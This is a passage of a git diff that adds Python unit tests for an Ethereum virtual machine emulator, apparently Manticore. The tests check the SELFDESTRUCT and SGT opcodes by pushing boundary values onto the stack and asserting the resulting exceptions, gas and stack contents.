+    def test_SELFDESTRUCT_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30323232323232323232323232323232323232323232323232323232323232323232323232323030
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address = 0xf
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xff'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'SUICIDED')
+            self.assertEqual(new_vm.gas, 995000)
+
+    def test_SELFDESTRUCT_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30323232323232323232323232323232323232323232323232323232323232323232323232323030
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address = 0x10
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xff'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'SUICIDED')
+            self.assertEqual(new_vm.gas, 995000)
+
+    def test_SELFDESTRUCT_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30323232323232323232323232323232323232323232323232323232323232323232323232323030
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address = 0x20
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xff'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'SUICIDED')
+            self.assertEqual(new_vm.gas, 995000)
+
+    def test_SELFDESTRUCT_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30323232323232323232323232323232323232323232323232323232323232323232323232323030
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address = 0x30
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xff'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'SUICIDED')
+            self.assertEqual(new_vm.gas, 995000)
+
+    def test_SELFDESTRUCT_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x30323232323232323232323232323232323232323232323232323232323232323232323232323030
+            balance = 0
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address = 0x111111111111111111111111111111111111100
+            balance = 1048576
+            code = ''
+            storage = {}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xff'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'SUICIDED')
+            self.assertEqual(new_vm.gas, 995000)
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSGT.py b/tests/EVM/test_EVMSGT.py
new file mode 100644
index 0000000..40c9536
--- /dev/null
+++ b/tests/EVM/test_EVMSGT.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SGT(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SGT_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
